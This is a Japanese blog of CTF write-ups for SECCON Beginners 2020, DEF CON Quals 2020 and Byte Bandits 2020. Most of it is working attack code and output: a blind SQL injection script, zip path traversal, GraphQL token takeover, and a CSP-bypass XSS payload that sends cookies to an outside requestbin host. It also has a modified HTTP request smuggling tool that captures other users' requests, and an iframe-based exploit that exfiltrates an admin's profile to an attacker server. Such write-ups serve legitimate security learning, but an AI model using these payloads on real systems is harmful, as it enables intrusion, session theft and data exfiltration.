こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

SECCON Beginners CTF 2020 Writeup

noranecoチームは未参加のため、いつもと違うチームで参加。
Web問を中心に解いた。

色々な方がwriteupを書いてくれると思うので簡易的なwriteupにとどめる。

Web

Spy

DBに存在するユーザを特定すれば勝ち。

ソースコードを読むと、nameを条件にDBからユーザを検索して、存在しない場合は終了し、存在する場合は後続でパスワードのハッシュを計算する処理がある。よって、ユーザの存在有無でレスポンス時間に差異が生まれる。ご丁寧にも、処理時間をレスポンスに含めてくれている。

$ for u in `cat employees.txt`; do echo $u ;curl https://spy.quals.beginners.seccon.jp/ -d "name=$u&password=hoge" -s | grep "It took"; done 
Arthur
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002787 sec to load this page.</p>
Barbara
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003148 sec to load this page.</p>
Christine
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003008 sec to load this page.</p>
David
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003564 sec to load this page.</p>
Elbert
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.3527238 sec to load this page.</p>
Franklin
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002318 sec to load this page.</p>
George
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.4679147 sec to load this page.</p>
Harris
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003867 sec to load this page.</p>
Ivan
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003446 sec to load this page.</p>
Jane
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002919 sec to load this page.</p>
Kevin
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0006480 sec to load this page.</p>
Lazarus
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.4976170 sec to load this page.</p>
Marc
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.3256018 sec to load this page.</p>
Nathan
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002081 sec to load this page.</p>
Oliver
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002898 sec to load this page.</p>
Paul
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003184 sec to load this page.</p>
Quentin
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003119 sec to load this page.</p>
Randolph
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002607 sec to load this page.</p>
Scott
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003556 sec to load this page.</p>
Tony
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.3267539 sec to load this page.</p>
Ulysses
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002503 sec to load this page.</p>
Vincent
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003067 sec to load this page.</p>
Wat
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002440 sec to load this page.</p>
Ximena
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.6319789 sec to load this page.</p>
Yvonne
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.5589504 sec to load this page.</p>
Zalmon
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002911 sec to load this page.</p>

処理時間の長いユーザを入力してフラグゲット。

Tweetstore

dbのcurrent_userを取得できれば勝ち。 SQLiの問題。

searchパラメータとlimitパラメータを入力可能。 searchパラメータは'記号がエスケープされてwhere句にセットされるが、limitパラメータはエスケープされずにlimit句へセットされる。 limit句にcurrent_userのASCIIコード値をセットして、返ってくる件数を観察することで1文字ずつ特定可能。

import requests

URL = "https://tweetstore.quals.beginners.seccon.jp/"

flag = ""

for i in range(50):
    r = requests.get(
        URL,
        params = {
            "search":"",
            "limit":"ascii(substr(current_user,{},1))-48".format(len(flag)+1)
        },
    )
    count = r.text.count("Watch@Twitter")
    flag += chr(count + 48)
    print(flag)
$ python solve.py
c
ct
ctf
ctf4
ctf4b
(snip)
ctf4b{is_postgres_your_friend?}

unzip

ディレクトリトラバーサルするzipファイルを作るだけ。

$ wget https://raw.githubusercontent.com/ptoomey3/evilarc/master/evilarc.py
$ touch flag.txt
$ python evilarc.py -d 3 -o unix flag.txt
$ unzip -l evil.zip
Archive:  evil.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
        0  2020-05-23 17:32   ../../../flag.txt
---------                     -------
        0                     1 file

アップロードしてアクセスするとフラグゲット

ctf4b{y0u_c4nn07_7ru57_4ny_1npu75_1nclud1n6_z1p_f1l3n4m35}

profiler

graphql injectionの問題。

# curl https://profiler.quals.beginners.seccon.jp/api -H "content-type: application/json" -d '{"query":"query {__type (name: \"Query\") {name fields{name type{name kind ofType{name kind}}}}}"}' -s | jq
{
  "data": {
    "__type": {
      "fields": [
        {
          "name": "me",
          "type": {
            "kind": "NON_NULL",
            "name": null,
            "ofType": {
              "kind": "OBJECT",
              "name": "User"
            }
          }
        },
        {
          "name": "someone",
          "type": {
            "kind": "OBJECT",
            "name": "User",
            "ofType": null
          }
        },
        {
          "name": "flag",
          "type": {
            "kind": "NON_NULL",
            "name": null,
            "ofType": {
              "kind": "SCALAR",
              "name": "String"
            }
          }
        }
      ],
      "name": "Query"
    }
  }

someoneクエリがある。 adminの情報を取得してみる。

# curl https://profiler.quals.beginners.seccon.jp/api -H "content-type: application/json" -d '{"query":"query {someone(uid: \"admin\") {uid,token}}"}' -s | jq
{
  "data": {
    "someone": {
      "token": "743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b",
      "uid": "admin"
    }
  }
}

以下を参考にスキーマを取得。

PayloadsAllTheThings/GraphQL Injection at master · swisskyrepo/PayloadsAllTheThings · GitHub

f:id:graneed:20200524140219p:plain

updateTokenが存在。自分のTokenをadminのtokenに変更する。 f:id:graneed:20200524135756p:plain

その後、FLAGの画面からフラグゲット。

f:id:graneed:20200524140442p:plain

Somen

まず、security.jsのロードをbaseタグで妨害。

CSPにstrict-dynamicが設定されていると、nonceが適切に設定されたscriptタグ内からロードされるスクリプトの実行は許可されるため、idがmessageのscriptタグを作って差し込んでもらう。

location.href="http://requestbin.net/r/1jban181?"+document.cookie; //</title><base href="http://example.com/"><script id="message"></script>

f:id:graneed:20200524140759p:plain

Crypt

R&B

先頭1文字削りながらBASE64とROT13を繰り返すだけ。

Reversing

ghost

$ echo ctf4b{AAAA} | gs -c "/flag 64 string def /output 8 string def (%stdin) (r) file flag readline not { (I/O Error\n) print quit } if 0 1 2 index length { 1 index 1 add 3 index 3 index get xor mul 1 463 { 1 index mul 64711 mod } repeat exch pop dup output cvs print ( ) print 128 mod 1 add exch 1 add exch } repeat (\n) print quit"
GPL Ghostscript 9.52 (2020-03-19)
Copyright (C) 2020 Artifex Software, Inc.  All rights reserved.
This software is supplied under the GNU AGPLv3 and comes with NO WARRANTY:
see the file COPYING for details.
3417 61039 39615 14756 10315 49836 8453 13295 12034 59378 12638 

最初のctf4b{の部分が、与えられたoutput.txtの最初と一致することがわかったので、あとは1文字ずつつ探していく。

import subprocess
import string
correct = open("output.txt").read()
flag = "ctf4b{"
while True:
    found = False
    for c in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&()*+,-./:;<=>?@[]^_`{|}~ ':
        cmd1 = "echo '{}'".format(flag + c)
        cmd2 = "| gs -c '/flag 64 string def /output 8 string def (%stdin) (r) file flag readline not { (I/O Error\n) print quit } if 0 1 2 index length { 1 index 1 add 3 index 3 index get xor mul 1 463 { 1 index mul 64711 mod } repeat exch pop dup output cvs print ( ) print 128 mod 1 add exch 1 add exch } repeat (\n) print quit'"
        cmd = cmd1 + cmd2
        result = subprocess.check_output(cmd, shell=True).decode("utf-8").split("\n")[4]
        #print(correct)
        #print(result)
        if result in correct:
            flag = flag + c
            print(flag)
            found = True
            break
    if found:
        continue
    else:
        print(flag)
        exit(0)
$ python3 solve.py 
ctf4b{s
(snip)
ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun!}

Reversingを一切しておらず、出題者に申し訳ない気持ちしかない。

Misc

readme

/proc/self/environを確認すると、/home/ctf/serverで実行されていることがわかる。
よって、/proc/self/cwdから親ディレクトリを辿ればよい。

$ nc readme.quals.beginners.seccon.jp 9712
File: /proc/self/cwd/../flag
ctf4b{m4g1c4l_p0w3r_0f_pr0cf5}

DEF CON CTF Qualifier 2020 Writeup - uploooadit

Question

https://uploooadit.oooverflow.io/

Files:
app.py 358c19d6478e1f66a25161933566d7111dd293f02d9916a89c56e09268c2b54c
store.py dd5cee877ee73966c53f0577dc85be1705f2a13f12eb58a56a500f1da9dc49c0

ソースコードは以下のとおり。

app.py

import os
import re

from flask import Flask, abort, request

import store

GUID_RE = re.compile(
    r"\A[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\Z"
)

app = Flask(__name__)
app.config["MAX_CONTENT_LENGTH"] = 512
filestore = store.S3Store()

# Uncomment the following line for simpler local testing of this service
# filestore = store.LocalStore()


@app.route("/files/", methods=["POST"])
def add_file():
    if request.headers.get("Content-Type") != "text/plain":
        abort(422)

    guid = request.headers.get("X-guid", "")
    if not GUID_RE.match(guid):
        abort(422)

    filestore.save(guid, request.data)
    return "", 201


@app.route("/files/<guid>", methods=["GET"])
def get_file(guid):
    if not GUID_RE.match(guid):
        abort(422)

    try:
        return filestore.read(guid), {"Content-Type": "text/plain"}
    except store.NotFound:
        abort(404)


@app.route("/", methods=["GET"])
def root():
    return "", 204

store.py

"""Provides two instances of a filestore.

There is not intended to be any vulnerability contained within this code. This file is provided to
make it easier to test locally without needing access to an S3 bucket.

-OOO

"""
import os

import boto3
import botocore


class NotFound(Exception):
    pass


class LocalStore:
    def __init__(self):
        import tempfile
        self.upload_directory = tempfile.mkdtemp()

    def read(self, key):
        filepath = os.path.join(self.upload_directory, key)

        try:
            with open(filepath, "rb") as fp:
                return fp.read()
        except FileNotFoundError:
            raise NotFound

    def save(self, key, data):
        with open(os.path.join(self.upload_directory, key), "wb") as fp:
            fp.write(data)


class S3Store:
    """Credentials grant access only to resource s3://BUCKET/* and only for:

    * GetObject
    * PutObject

    """

    def __init__(self):
        self.bucket = os.environ["BUCKET"]
        self.s3 = boto3.client("s3")

    def read(self, key):
        try:
            response = self.s3.get_object(Bucket=self.bucket, Key=key)
        except botocore.exceptions.ClientError as exception:
            if exception.response["HTTPStatusCode"] == 403:
                raise NotFound
            # No other exceptions encountered during testing
        return response["Body"].read()

    def save(self, key, data):
        self.s3.put_object(
            Body=data, Bucket=self.bucket, ContentType="text/plain", Key=key
        )

Solution

ソースコードを読むと、以下の機能を持つことがわかる。

  • /files/X-guidヘッダーを付けてPOSTすると、HTTPリクエストボディの内容をAWSのS3に保存
  • /files/<GUID>にGETすると、保存したデータを取得
  • デバッグ/開発者用にS3でなくローカルファイルで動作可能な機能もある

まずは適当なGUIDをセットしてPOSTしてみる。

$ curl https://uploooadit.oooverflow.io/files/ -H "Content-Type: text/plain" -H "X-guid: 14371510-af00-1211-3333-afed3109dade" -d "aaaaaaaa" -v
*   Trying 3.135.56.183:443...
* TCP_NODELAY set
* Connected to uploooadit.oooverflow.io (3.135.56.183) port 443 (#0)
* ALPN, offering http/1.1
* successfully set certificate verify locations:
*   CAfile: /etc/ssl/certs/ca-certificates.crt
  CApath: none
* TLSv1.2 (OUT), TLS handshake, Client hello (1):
* TLSv1.2 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / ECDHE-RSA-AES128-GCM-SHA256
* ALPN, server did not agree to a protocol
* Server certificate:
*  subject: CN=*.oooverflow.io
*  start date: May  9 00:00:00 2020 GMT
*  expire date: Jun  9 12:00:00 2021 GMT
*  subjectAltName: host "uploooadit.oooverflow.io" matched cert's "*.oooverflow.io"
*  issuer: C=US; O=Amazon; OU=Server CA 1B; CN=Amazon
*  SSL certificate verify ok.
> POST /files/ HTTP/1.1
> Host: uploooadit.oooverflow.io
> User-Agent: curl/7.69.0-DEV
> Accept: */*
> Content-Type: text/plain
> X-guid: 14371510-af00-1211-3333-afed3109dade
> Content-Length: 8
> 
* upload completely sent off: 8 out of 8 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 201 CREATED
< Server: gunicorn/20.0.0
< Date: Sat, 16 May 2020 02:09:41 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 0
< Via: haproxy
< X-Served-By: ip-10-0-0-112.us-east-2.compute.internal
< 
* Connection #0 to host uploooadit.oooverflow.io left intact

gunicornのバージョンが得られた。 また、haproxyが間にいることがわかる。

gunicornの更新履歴を確認する。
docs.gunicorn.org

fixed chunked encoding support to prevent any request smuggling

これがあやしい。以下の攻撃手法を使うと推測。
portswigger.net

この手法が使えれば、自分が決めたGUIDの領域に、他者のHTTPリクエストの内容を記録できそうだ。

Googleで専用のツールがあるか検索して、以下のリポジトリでsmuggler.pyというツールを発見する。
Transfer-EncodingとContent-Lengthに色々なパターンのデータをセットして、上記の脆弱性の有無を確認してくれる。
github.com

$ wget https://raw.githubusercontent.com/gwen001/pentest-tools/master/smuggler.py

$ python3 smuggler.py -u https://uploooadit.oooverflow.io/ -v 4

                                         _                             
         ___ _ __ ___  _   _  __ _  __ _| | ___ _ __       _ __  _   _ 
        / __| '_ ` _ \| | | |/ _` |/ _` | |/ _ \ '__|     | '_ \| | | |
        \__ \ | | | | | |_| | (_| | (_| | |  __/ |     _  | |_) | |_| |
        |___/_| |_| |_|\__,_|\__, |\__, |_|\___|_|    (_) | .__/ \__, |
                             |___/ |___/                  |_|    |___/ 

                        by @gwendallecoguic


[+] 0 hosts found: None
[+] 1 urls found: https://uploooadit.oooverflow.io/
[+] 1 path found: None
[+] options are -> threads:10, verbose:4
[+] 1 urls to test.
[+] testing...
https://uploooadit.oooverflow.io/       M=      C=405       L=451       time=169        T=text/html; charset=utf-8      V=-
>>>POST / HTTP/1.1
Host: uploooadit.oooverflow.io
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 0

<<<
>>>HTTP/1.1 405 METHOD NOT ALLOWED
Server: gunicorn/20.0.0
Date: Sun, 17 May 2020 00:26:56 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Allow: GET, HEAD, OPTIONS
Content-Length: 178
Via: haproxy
X-Served-By: ip-10-0-0-225.us-east-2.compute.internal

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>405 Method Not Allowed</title>
<h1>Method Not Allowed</h1>
<p>The method is not allowed for the requested URL.</p>
<<<
https://uploooadit.oooverflow.io/       M=CL:TE1|vanilla        C=400       L=216       time=169        T=text/html     V=-
>>>POST / HTTP/1.1
Host: uploooadit.oooverflow.io
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 5
Transfer-Encoding: chunked

1
Z
Q

<<<
>>>HTTP/1.0 400 Bad request
Server: haproxy 1.9.10
Cache-Control: no-cache
Connection: close
Content-Type: text/html

<html><body><h1>400 Bad request</h1>
Your browser sent an invalid request.
</body></html>

<<<
(snip)

そのままでは成功しなかったが、haproxy 1.9.10であることがわかった。

もう少し調べてみると以下の記事を発見。
ミドルウェア、バージョンともに出題環境と一致している。
HAProxy HTTP request smuggling - nathandavison.com

上記の記事を見ながらツールを改造する。

  • ConnectionヘッダーにCloseをセットしない。
  • 攻撃データに、自分が決めたGUIDの領域(X-guidヘッダーでセット)へ他人のHTTPリクエストの内容を記録するPOSTリクエスト電文をセット。
  • POSTリクエスト後に、/files/にGETして、他人のHTTPリクエストの内容が記録できているか確認。
  • なお、Content-Lengthの390は、実行しながら調整した結果。最初は100くらいから試した。
$ cp -p smuggler.py smuggler_mod.py
$ diff smuggler.py smuggler_mod.py
57c57
<     'Connection': 'close',
---
>     # 'Connection': 'close',
66a67,81
> guid = "14371510-af00-1211-3333-afed3109dade"
> 
> body="""1
> A
> 0
> 
> POST /files/ HTTP/1.1
> Host: uploooadit.oooverflow.io
> Content-Type: text/plain
> X-guid: {}
> Content-Length: 390
> 
> hoge""".format(guid).replace("\n","\r\n")
> 
> 
68,71c83,87
<     {'name':'CL:TE1', 'Content-Length':5, 'body':'1\r\nZ\r\nQ\r\n\r\n'},
<     {'name':'CL:TE2', 'Content-Length':11, 'body':'1\r\nZ\r\nQ\r\n\r\n'},
<     {'name':'TE:CL1', 'Content-Length':5, 'body':'0\r\n\r\n'},
<     {'name':'TE:CL2', 'Content-Length':6, 'body':'0\r\n\r\nX'},
---
> #    {'name':'CL:TE1', 'Content-Length':5, 'body':'1\r\nZ\r\nQ\r\n\r\n'},
> #    {'name':'CL:TE2', 'Content-Length':11, 'body':'1\r\nZ\r\nQ\r\n\r\n'},
> #    {'name':'TE:CL1', 'Content-Length':5, 'body':'0\r\n\r\n'},
> #    {'name':'TE:CL2', 'Content-Length':6, 'body':'0\r\n\r\nX'},
>     {'name':'EXPLORE', 'Content-Length':len(body), 'body':body},
631c647,652
< 
---
>             print("-------- requests start --------")
>             r = requests.get(
>                 "https://uploooadit.oooverflow.io/files/{}".format(guid)
>             )
>             print(r.text)
>             print("-------- requests end --------")

実行する。

$ python3 smuggler_mod.py -u https://uploooadit.oooverflow.io/ -m prefix1_11 -v 4

                                         _                             
         ___ _ __ ___  _   _  __ _  __ _| | ___ _ __       _ __  _   _ 
        / __| '_ ` _ \| | | |/ _` |/ _` | |/ _ \ '__|     | '_ \| | | |
        \__ \ | | | | | |_| | (_| | (_| | |  __/ |     _  | |_) | |_| |
        |___/_| |_| |_|\__,_|\__, |\__, |_|\___|_|    (_) | .__/ \__, |
                             |___/ |___/                  |_|    |___/ 

                        by @gwendallecoguic


[+] 0 hosts found: None
[+] 1 urls found: https://uploooadit.oooverflow.io/
[+] 1 path found: None
[+] options are -> threads:10, verbose:4
[+] 1 urls to test.
[+] testing...
https://uploooadit.oooverflow.io/       M=      C=405       L=432       time=162        T=text/html; charset=utf-8      V=-
>>>POST / HTTP/1.1
Host: uploooadit.oooverflow.io
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

<<<
>>>HTTP/1.1 405 METHOD NOT ALLOWED
Server: gunicorn/20.0.0
Date: Sun, 17 May 2020 00:22:59 GMT
Content-Type: text/html; charset=utf-8
Allow: GET, HEAD, OPTIONS
Content-Length: 178
Via: haproxy
X-Served-By: ip-10-0-0-183.us-east-2.compute.internal

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>405 Method Not Allowed</title>
<h1>Method Not Allowed</h1>
<p>The method is not allowed for the requested URL.</p>
<<<
https://uploooadit.oooverflow.io/       M=EXPLORE|prefix1_11        C=405       L=432       time=162        T=text/html; charset=utf-8      V=-
>>>POST / HTTP/1.1
Host: uploooadit.oooverflow.io
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 165
Transfer-Encoding: 
                   chunked

1
A
0

POST /files/ HTTP/1.1
Host: uploooadit.oooverflow.io
Content-Type: text/plain
X-guid: 14371510-af00-1211-3333-afed3109dade
Content-Length: 390

hoge<<<
>>>HTTP/1.1 405 METHOD NOT ALLOWED
Server: gunicorn/20.0.0
Date: Sun, 17 May 2020 00:23:00 GMT
Content-Type: text/html; charset=utf-8
Allow: GET, HEAD, OPTIONS
Content-Length: 178
Via: haproxy
X-Served-By: ip-10-0-0-225.us-east-2.compute.internal

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>405 Method Not Allowed</title>
<h1>Method Not Allowed</h1>
<p>The method is not allowed for the requested URL.</p>
<<<
-------- requests start --------
hogePOST /files/ HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: invoker
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: text/plain
X-guid: 931ab38b-2a16-4074-a603-5295cb90ef39
Content-Length: 152
X-Forwarded-For: 127.0.0.1

Congratulations!
OOO{That girl thinks she's the queen of the neighborhood/She's got the hottest trike in town/That girl, she holds her head up so high}

-------- requests end --------

出題者が定期的にフラグ文字列をPOSTするリクエストを流していたようで、フラグゲット。

OOO{That girl thinks she's the queen of the neighborhood/She's got the hottest trike in town/That girl, she holds her head up so high}

Byte Bandits CTF 2020 Writeup - Notes App

Question

noob just created a secure app to write notes.

Show him how secure it really is!

https://notes.web.byteband.it/

f:id:graneed:20200412235507p:plain

Solution

調査

ソースコードが添付されている。

main.pyのみ、以下に転記する。

import os
from flask import Flask, render_template, request, flash, redirect
from flask_sqlalchemy import SQLAlchemy
from flask_login import LoginManager
from flask_login import login_required, logout_user, current_user, login_user
import markdown2
import requests

from .models import User
from . import db, create_app, login_manager
from .visit_link import q, visit_url

app = create_app()

# configure login_manager {{{1 #
@login_manager.user_loader
def load_user(user_id):
    """Check if user is logged-in on every page load."""
    if user_id is not None:
        return User.query.get(user_id)
    return None


@login_manager.unauthorized_handler
def unauthorized():
    """Redirect unauthorized users to Login page."""
    flash('You must be logged in to view that page.')
    return redirect("/login")
# 1}}} #

# configure routes {{{1 #
@app.route("/")
def index():
    if current_user.is_authenticated:
        return redirect("/profile")
    return render_template("index.html")

@app.route("/register", methods = ["GET", "POST"])
def register():
    if current_user.is_authenticated:
        return redirect("/profile")

    if request.method == 'POST':
        # register user
        id = request.form.get('username')
        password = request.form.get('password')
        existing_user = User.query.filter_by(id = id).first()  # Check if user exists
        if existing_user is None:
            user = User(id = id)
            user.set_password(password)
            user.notes = ""
            db.session.add(user)
            db.session.commit()  # Create new user
            login_user(user)  # Log in as newly created user
            return redirect("/profile")
        flash('A user already exists with that name already exists.')
        return redirect("/register")
    return render_template("register.html")

@app.route("/login", methods = ["GET", "POST"])
def login():
    if current_user.is_authenticated:
        return redirect("/profile")

    if request.args.get("username"):
        # register user
        id = request.args.get('username')
        password = request.args.get('password')
        user = User.query.filter_by(id = id).first()
        if user and user.check_password(password = password):
            login_user(user)
            return redirect("/profile")

        flash('Incorrect creds')
        return redirect("/login")
    return render_template("login.html")

@app.route("/visit_link", methods=["GET", "POST"])
def visit_link():
    if request.method == "POST":
        url = request.form.get("url")
        token = request.form.get("g-recaptcha-response")
        r = requests.post("https://www.google.com/recaptcha/api/siteverify", data = {
            'secret': os.environ.get('RECAPTCHA_SECRET'),
            'response': token
        })
        if r.json()['success']:
            job = q.enqueue(visit_url, url, result_ttl = 600)
            flash("Our admin will visit the url soon.")
            return render_template("visit_link.html", job_id = job.id)
        else:
            flash("Recaptcha verification failed")

    return render_template("visit_link.html")

@app.route("/status")
def status():
    job_id = request.args.get('job_id')
    job = q.fetch_job(job_id)
    status = job.get_status()
    return render_template("status.html", status = status)


@app.route("/profile")
@login_required
def profile():
    return render_template("profile.html", current_user = current_user)

@app.route("/update_notes", methods=["POST"])
@login_required
def update_notes():
    # markdown support!!
    current_user.notes = markdown2.markdown(request.form.get('notes'), safe_mode = True)
    db.session.commit()
    return redirect("/profile")


@app.route("/logout")
@login_required
def logout():
    logout_user()
    return redirect("/")
# 1}}} #

以下の機能を持つ。

  • /register ユーザ登録
  • /login ログイン
  • /visit_link 管理者へリンクを送信(その後、管理者がURLへアクセスする)
  • /status 管理者がURLへアクセスしたかどうか確認
  • /profile 自分のプロファイルを表示
  • /update_notes 自分のプロファイルを更新
  • /logout ログアウト

フラグは管理者のプロファイルに記録されている。
管理者にXSSを仕掛けた画面にアクセスせて、管理者のプロファイルを窃取する方法を考える。

XSS

プロファイルはマークダウン記法で投稿可能。
markdown2でHTMLに変換している。

@app.route("/update_notes", methods=["POST"])
@login_required
def update_notes():
    # markdown support!!
    current_user.notes = markdown2.markdown(request.form.get('notes'), safe_mode = True)
    db.session.commit()
    return redirect("/profile")

requirements.txtを確認すると、markdown2==2.3.8。最新版を使用している。 しかし、githubのissueを見ると、未修正のXSS脆弱性が残っていることがわかる。

github.com

<http://g<!s://q?<!-<[<script>alert(1);/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>alert(1);/*](http://g)->a>

自分のプロファイルに設定してみる。

f:id:graneed:20200413002256p:plain

アラート表示に成功。

これで管理者を自分のプロファイル画面へ誘導すれば、任意のスクリプトが実行できる。

プロファイル画面への誘導

@app.route("/profile")
@login_required
def profile():
    return render_template("profile.html", current_user = current_user)

/profileにアクセスすると、現在ログインしているユーザのプロファイルを表示する実装である。 当然だが、管理者に/profileへアクセスさせても、管理者が自身のプロファイル(フラグ)を表示するだけである。

ここで/loginのソースを確認する。

@app.route("/login", methods = ["GET", "POST"])
def login():
    if current_user.is_authenticated:
        return redirect("/profile")

    if request.args.get("username"):
        # register user
        id = request.args.get('username')
        password = request.args.get('password')
        user = User.query.filter_by(id = id).first()
        if user and user.check_password(password = password):
            login_user(user)
            return redirect("/profile")

        flash('Incorrect creds')
        return redirect("/login")
    return render_template("login.html")

GETでusernameとpasswordを受け付けており、ログイン後に/profileに自動遷移している。 よって、管理者に/login?username=<攻撃者のユーザ名>&password=<攻撃者のパスワード>へアクセスさせれば、攻撃者のプロファイル画面に誘導できる。ただし、ログイン状態で/loginにアクセスすると、再ログイン処理をせずに/profileに自動遷移するため、事前に/logoutへアクセスさせる必要がある。

exploit作成

管理者に、攻撃者のアカウントでログインさせた後では、管理者のプロファイルの画面を再表示できない。 よって、事前にiframeで管理者のプロファイル画面を表示させて、別のiframeでログアウトと攻撃者のアカウントへのログインをさせればよい。 そのようなHTMLを自サーバに用意する。

リクエストの順序が重要であるため、3秒間待つ。setTimeoutだとうまくいかなかったため、無理やりsleepさせる。

<html>
<head>
<script>
function sleep(waitMsec){
    var startMsec = new Date();
    while (new Date() - startMsec < waitMsec);
}
window.addEventListener('load', function() {
    var adminframe = document.createElement("iframe");
    adminframe.name = "adminframe";
    adminframe.src = "https://notes.web.byteband.it/profile";
    var body = document.querySelector("body");
    body.appendChild(adminframe);

    sleep(3000);

    var logoutframe = document.createElement("iframe");
    logoutframe.src = "https://notes.web.byteband.it/logout";
    body.appendChild(logoutframe);

    sleep(3000);

    var loginframe = document.createElement("iframe");
    loginframe.src = "https://notes.web.byteband.it/login?username=<攻撃者のユーザ名>&password=<攻撃者のパスワード>";
    body.appendChild(loginframe);
}, false);
</script>
</head>
</html>

攻撃者のプロファイル画面には、管理者のプロファイル画面が表示されているadminframeのコンテンツを取得して、攻撃者のサーバに送るスクリプトを仕掛ける。親フレームのHTMLは攻撃者のドメインだが、参照先のadminframeフレームは出題サーバと同じドメインであるため、クロスドメインにはならない。

<http://g<!s://q?<!-<[<script>location.href='http://<myserver>?q='+btoa(top.adminframe.document.body.innerHTML);/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>hoge;/*](http://g)->a>

準備ができたら、管理者に自サーバのHTMLのリンク先を送信する。

アクセスが来た。

?q=CgkJCjxkaXYgY2xhc3M9Imhlcm8gaXMtZnVsbGhlaWdodCBpcy1jZW50ZXJlZCBpcy12Y2VudGVyZWQgaXMtcHJpbWFyeSI Cgk8ZGl2IGNsYXNzPSJoZXJvLWhlYWQiPgoJCTxuYXYgY2xhc3M9Im5hdmJhciI CgkJCTxkaXYgY2xhc3M9ImNvbnRhaW5lciI CgkJCQk8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPgoJCQkJCTxhIGhyZWY9Ii8iIGNsYXNzPSJuYXZiYXItaXRlbSI CgkJCQkJCU15Tm90ZXMKCQkJCQk8L2E CgkJCQk8L2Rpdj4KCQkJCTxkaXYgY2xhc3M9Im5hdmJhci1tZW51Ij4KCQkJCQk8ZGl2IGNsYXNzPSJuYXZiYXItZW5kIj4KCQkJCQkJPHNwYW4gY2xhc3M9Im5hdmJhci1pdGVtIj4KCQkJCQkJCTxhIGhyZWY9Ii9sb2dvdXQiIGNsYXNzPSJidXR0b24gaXMtcHJpbWFyeSBpcy1pbnZlcnRlZCI CgkJCQkJCQkJPHNwYW4 TG9nb3V0PC9zcGFuPgoJCQkJCQkJPC9hPgoJCQkJCQk8L3NwYW4 CgkJCQkJPC9kaXY CgkJCQk8L2Rpdj4KCQkJPC9kaXY CgkJPC9uYXY Cgk8L2Rpdj4KCTxkaXYgY2xhc3M9Imhlcm8tYm9keSBjb2x1bW5zIGlzLWNlbnRlcmVkIGhhcy10ZXh0LWNlbnRlcmVkIj4KCQk8ZGl2IGNsYXNzPSJjb2x1bW4gaXMtNCI CgkJCTxkaXYgY2xhc3M9InRpdGxlIj4KCQkJCUhvd2R5IGFkbWluIQoJCQk8L2Rpdj4KCQkJPCEtLSBzbyB0aGF0IHVzZXIgY2FuIHdyaXRlIGh0bWwgLS0 